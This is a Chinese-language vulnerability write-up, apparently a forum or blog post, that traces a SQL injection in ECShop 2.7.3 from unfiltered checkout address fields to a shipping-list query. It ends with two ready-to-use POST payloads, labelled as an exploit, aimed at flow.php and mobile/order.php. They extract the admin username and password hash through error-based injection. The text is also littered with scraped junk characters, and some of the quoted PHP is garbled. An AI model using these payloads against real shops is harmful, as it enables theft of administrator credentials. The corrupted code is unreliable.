前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
- Q6 W5 Z; n6 u& F
, A- X4 X3 p% U5 }5 c8 q9 W 漏洞关键文件:2 T; u9 v2 F* y% x2 ?6 W( E1 d, I
6 ]) V: b% l' B
/includes/lib_order.php' Q1 r' W) [0 M( _4 N! {% n
! @6 ^& D* _( C( a0 A: R/ ^8 V 关键函数:
( v% l3 Q5 W& W( l$ ~: s0 N: g& Z5 U7 |, d l0 ]
& j! |/ o) W) k8 Q* V6 G& b e$ _$ m
01 function available_shipping_list($region_id_list) 4 W1 O3 x: B' C1 E# @3 O& C9 u/ R
. b! G' l, N4 C) b
02 { / m' x5 r7 `$ L. y' n% ^
! L n; P' w# f- z# ]03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
; s1 z6 D" t# Z) a! H& o8 H: |, q( n. y8 y" W% e
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
+ X0 y/ ~& f( O- d; V" r, I- F" Z5 {9 o9 ~
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
* e1 f; c" ^3 s2 o! b. T8 Q4 N; _" Q5 h8 x& F( A3 E
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . * Y0 T" E& o4 q7 k' T& B# A
& [# V4 G0 {# l ]# p07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ) D; |" s h0 m9 I/ I
4 B0 A t t% T# r! R" k8 m08 'WHERE r.region_id ' . db_create_in($region_id_list) . 7 B( S2 S+ j7 G) ^. u Q
0 w3 C% i. V* j
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; / {5 O7 Y6 Q3 u2 V( z& B1 ^& @
; O6 n/ |, c8 {- @' c/ m, j1 u8 E
10
2 d5 `* M8 l$ ^# m# f o5 u. q0 _( o$ A, t
11 return $GLOBALS['db']->getAll($sql);
% F8 m- C. M3 X+ o$ I9 v8 p1 x w+ j/ B- r; D& [8 o
12 }
$ x3 i0 _4 @2 s. V p c8 j! J9 g' a' o7 o- E5 G z A. `
显然对传入的参数没有任何过滤就带入了查询语句。( A6 H8 ^" q4 A+ m' g0 U) S
5 a; p/ Q: {+ k6 g$ P
下面我们追踪这个函数在flow.php中:* T5 n t% [, u9 Y3 G
第531行:
* S; \1 V) \: J d W
' `' ?6 s6 N4 V1 $shipping_list = available_shipping_list($region); G3 C, y0 ~8 S$ {+ G" z s7 n* R |
* m8 T1 y9 m* q* q
8 o) [0 y' B; k+ T, J l9 o' ~6 r
' b+ Y" Q/ ^& V( V5 p8 A
* m0 D. {7 M3 V
3 _ ` Q! l" I. B) |3 E再对传入变量进行追踪:3 j& [3 {- ?. U
% u% H5 y- \% l第530行:
, O7 k' f. a9 i! Y! l
0 E8 x6 T3 ]. A W1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); / ?4 G1 G; A1 r$ a0 G9 b$ B
+ Z3 x. n' O5 @0 `1 }, y/ S - g. S, H1 t, o5 I
) X4 ` h) l+ _( M1 d" r [ {$ C# r, j, B
8 Z# @$ l9 g' M- K4 W
第473行: 5 n% _& g: W0 A; a) i
y& y j$ {; l3 w( L9 ]1 D1 [' I
1 $consignee = get_consignee($_SESSION['user_id']);
( z) Q% c7 |; @7 x7 }- z- G$ K9 C! ^
到了一个关键函数:
; A1 Y6 k8 h( @
5 I) Y3 Z% y! A/includes/lib_order.php
" k6 d1 O& f/ ~- F* ?0 w3 _. E( _
4 H7 ?% A4 u4 r2 Y1 E3 B- l . Q) B2 V& X. P/ d* Z
1 h6 i" L: h/ h2 L6 { , `( l: @1 V6 U+ r
! C/ o: V' m0 ~ Y01 function get_consignee($user_id) % g+ s8 [9 k- U. u
2 H. e; N3 p5 C4 _9 p- o: I7 v02 { , j# m( Y" a n) B& ~, K& I6 V7 N
) F" }. p! z/ a/ O" e# P
03 if (isset($_SESSION['flow_consignee'])) , h5 a' d# r, y) G8 _
" t0 i* I* Q% }- u' W/ u% V04 {
+ H# W5 y- q- t" F! y
3 Z7 v/ I* X" n05 /* 如果存在session,则直接返回session中的收货人信息 */ 5 S: [! W2 W0 q2 ?
# C* ^ [9 F2 g( @7 E- j2 O0 K. G06 1 Z9 O' k T8 L: {! e: s, v0 Y# k. S0 |
8 D& l7 `5 r7 R p( J& b4 Q: c7 u07 return $_SESSION['flow_consignee'];
: O# j. X9 j6 u$ Q u y
4 ~' }+ n3 v; L6 ?# [. J08 } ( n$ g0 f6 |* A
4 Z8 ^/ E7 `6 U6 F
09 else : l5 u& u& L! R" ~. {" {4 k
3 Z" M6 f0 |, c8 d/ F7 Y, z10 { " C; \3 X8 ~! X7 p$ c: b( u; |4 y
. j2 I7 ^/ o4 b) ~+ ]' \# m8 n ?
11 /* 如果不存在,则取得用户的默认收货人信息 */
+ E5 c$ w$ ]- g4 H' g4 |6 l+ `* x# L" Z
5 G: B6 l+ U4 P1 ~$ j* u. F/ d, N12 $arr = array(); / P$ j9 p) h0 |0 O+ k& \8 }) d
" V$ X8 w% w- f& V& L7 c
13
. x# q; e% D$ v! K# M: u: ?3 ?
- }9 a0 }# p+ U8 n: P I6 q14 if ($user_id > 0)
$ C) H( X5 v1 v/ U7 M1 N5 g9 I
15 { & B+ c" K: L- Z$ g; ^& T; S
0 L0 n. ` o' Q! W16 /* 取默认地址 */ # C: T. v" E m3 t0 U
0 n$ R" k6 U5 y9 r# q5 T) S& g, w5 H
17 $sql = "SELECT ua.*".
0 i$ E; _) d- v( f& c+ Y1 W+ b4 N4 i) X; J2 w
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ; y; X" E* Z/ ~6 r+ f
- ?# P1 X9 d) g ?9 `5 T5 s
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; * P6 @' z3 L: i4 J6 `/ a. k
3 |+ ?# D5 C; @" O
20
# d4 s- l6 x: J; D; F( S- h- G4 H- T3 L
21 $arr = $GLOBALS['db']->getRow($sql); , g- m1 J% g8 U
K+ p' p* f. \5 A0 L0 j4 u22 } 4 ? q; [4 ^% E2 f0 ?: L( }
; m, r1 Y+ B( T& ?; s( b! H5 j0 V23
+ d* U; Y7 _& S$ d
2 Q W/ w8 |6 c% |' y24 return $arr;
3 j8 _+ X6 v% W$ D! Q
( n6 i/ z6 B. f( q+ X5 x# Y, h A' m25 }
! j; |7 L: f" H* s" p. E6 x9 S7 f
0 C6 U, o! D# O0 ]26 } + ?! v3 \* D3 [. x ^4 Q
2 J* i4 J B7 g ~$ }
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?" n' O: [# h* o3 @
' L6 N. d `- R# N* z
) s/ _, ~% b5 n( {
5 z1 r5 B1 t; n0 h关键点:& b$ h6 o+ X5 _' H5 E
e* |8 j$ K& O% Z5 J- R- K. p第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
2 B3 C4 M5 k" C% g
- ~! Q6 e. |0 ^2 d8 R这里对传入参数反转义存入$_SESSION中。* |6 w: B: m5 W }1 t& U
; Q& n: G6 u4 |; G, ~$ ^
/ s. ^0 o/ v2 }9 Y! ]
1 g. c: a1 E' |) `5 m; k2 n然后看下:* H5 J5 L' K J+ B! f0 r( S& w
, o+ m2 h4 m _. `5 N
0 u$ v F- f i- ]3 K" y" o6 L. i" Y/ }- H9 w* c* w7 ?: G1 y
0 c# `# A) L. |. e: z3 @5 r# ^! z# N. a& K J5 T0 R
01 $consignee = array( # W5 {) Z) _+ E* b ^ S1 o( H, @" `
8 }. l. y* [( m! y; W' R02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 9 E& h1 ~8 G" F+ r# |# f6 F
6 u; s! U$ ~, q1 _5 l- p8 I
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), ! W; z7 p" ^2 ~' T0 }* p- }
& e! k' ^- U4 {4 ?6 i# s# u
04 'country' => empty($_POST['country']) ? '' _POST['country'],
3 d+ K7 S' h( t9 W/ \3 H0 y. h& e
05 'province' => empty($_POST['province']) ? '' _POST['province'],
$ Z, v& L( k% y* ?
$ g" B% W( @& w3 U0 k I2 }$ s06 'city' => empty($_POST['city']) ? '' _POST['city'], 9 s5 L: `' ~- _" ~' b" Z/ B
Y2 d5 X& |: C. L% B/ |- \! A" |* m
07 'district' => empty($_POST['district']) ? '' _POST['district'],
- _1 [* n* L( P" w" x2 d# i& r' ~6 i& R9 m
08 'email' => empty($_POST['email']) ? '' _POST['email'], & f) F! ~: K( f2 |% A/ `6 j
* m* V2 g/ {$ q U; c. G
09 'address' => empty($_POST['address']) ? '' _POST['address'], 9 r3 P) ~0 a" a; J8 Q. {
/ t8 k1 D+ ^& C5 B6 l- B10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), , B v$ q) o$ t
7 ]& [- V, H0 Y
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
1 Q' a1 _4 [+ x1 a0 h6 D$ o# @2 r& i
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 8 l. h3 a: U2 f9 t
9 R' c( z2 \- Y7 F2 @9 S
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
7 f# Y! P; E( z# O# V5 b0 ?7 Z. z/ m o
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], ! A$ N0 y& u0 X: T+ [8 ]
# h1 X4 g2 ~: i& m3 B5 ] H
15 );
' Z r2 r2 u+ q/ R3 b3 N/ b
/ X3 w5 Z8 ^4 P好了注入就这样出现了。
0 y, n4 t* O+ o4 R2 y, j6 V2 P% i+ h C8 X7 f
==================/ \1 q8 B8 P% U3 J3 `4 S
" X' K0 Z \* w9 |$ r0 c" o
注入测试:
& e, G* L4 e9 {1 X6 h5 U: W' E4 n
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
: j9 Y4 C. Z- C8 a
* w# N# g+ w9 u. `' u4 w4 t, S测试程序:ECShop_V2.7.3_UTF8_release11062 @1 C" v! }+ `# C4 H) N) a5 P
& y$ C7 e4 s4 A7 L& m
" h+ N1 ^/ h8 n/ K# f- i9 N0 G% h9 n& U
1.首先需要点击一个商品加入购物车
* N( G* ]& Z1 c ?
8 \7 Z) l4 E4 s; T0 `2.注册一个会员帐号
; b) k) v( D) B( s, Y2 l! X" V9 c; R! I# p+ {+ X5 _
3.post提交数据$ ]' o1 W6 ~* Z* Z
" N/ C7 V& l+ w : `& _2 d) l* T& r6 S' y
2 D+ D8 l& w+ F) b6 B9 t6 e1 http://127.0.0.1/ecshop/flow.php
3 z4 j( q, `) `2 v1 r- k. m: b3 Q
' r3 w- R) u9 ^* B2 G" R4 h2 4 v. ?& ~; I& K0 Y, K! ?. G
. y+ _- P; y. `$ |) }* w+ k3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ( Y% c! p5 P4 ?' C8 a
举一反三,我们根据这个漏洞我们可以继续深入挖掘:- L. K6 p1 c1 j& c* w( E+ ]
6 x6 b# x/ d; M# h" `( G
我们搜寻关键函数function available_shipping_list()
( Q H" E0 O+ {4 B$ d \+ ]
& E# o- V) |2 W5 d) ]( r: K在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同, E, d" A+ _6 p- M6 k0 S' O
$ U. Q# L( T& n* [! F2 W7 }
利用exp:
' E) ` k7 Y) H' H. n! x, h+ m: v
1 @" z5 J0 z P7 u1.点击一个商品,点击购买商标 {9 V- C# g) G/ O+ g' _( V
( h1 b2 e( |+ K& h6 C2.登录会员帐号, F; [2 n9 \. R u) ]0 F
1 I( a% [' h4 D: ~' l1 ~% {
3.post提交:
" g4 |) o( A: j& P& j4 c4 B
( N$ n0 E# G8 u9 G( Xhttp://127.0.0.1/ecshop/mobile/order.php* ]( m9 [0 O2 C; {
" B3 p% N7 E# b0 f1 ^ 4 r+ q- {+ r/ H2 a$ V H' Q
' e8 Z, s: [" i0 d6 S' W3 i
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( }- T# a- J( o/ g! l- u. o3 K8 P% m2 X) }
|